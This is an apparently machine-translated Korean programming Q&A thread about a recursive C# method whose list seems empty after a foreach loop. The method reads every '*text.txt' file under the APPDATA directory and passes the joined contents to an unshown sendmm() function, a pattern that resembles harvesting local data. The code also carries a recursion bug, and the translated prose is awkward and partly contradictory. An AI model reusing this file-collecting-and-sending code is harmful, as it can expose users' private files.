전에 문제가 있었지만 해결 했으므로이 문제를 해결할 수 없습니다.foreach 루프 전에 if 문이 실행되는 이유는 무엇입니까?
문이 foreach 루프 이전에 호출하고 그 때문에, 내가 루프 후에 보내 싶어 변수가 비어있는 경우 어떤 이유
디버깅 그림. 어떻게 해결할 수 있습니까? 코드는 항상 맨 위에서 아래로 읽는다고 생각했습니다. 끝에
이 목록은해야 모든 것을 포함하지만 문이 두 번째로 호출되고 있지 않은 경우 ... public static void GetAllFiles(string sDir)
{
List <string> datas = new List<string>();
foreach (string dir in Directory.GetDirectories(sDir))
{
try
{
foreach (string file in Directory.GetFiles(dir, "*text.txt"))
{
string var = File.ReadAllText(file);
datas.Add(var);
}
GetAllFiles(dir);
}
catch
{
}
}
if (datas != null)
{
string dets = String.Join("\n\n", datas.ToArray());
sendmm(dets);
}
}
APPDATA 디렉토리가 전달되는 귀하의 방법 GetAllFiles
자체를 호출
텍스트 편집기의 스크린 샷은 실제 코드를 질문 편집기에 붙여 넣기위한 매우 불량한 대체품입니다. –
코드를 붙여 넣으면 볼 수 있으므로 도움이 될 것입니다. – Ma3x
편집 됨, 미안합니다 – Fightera100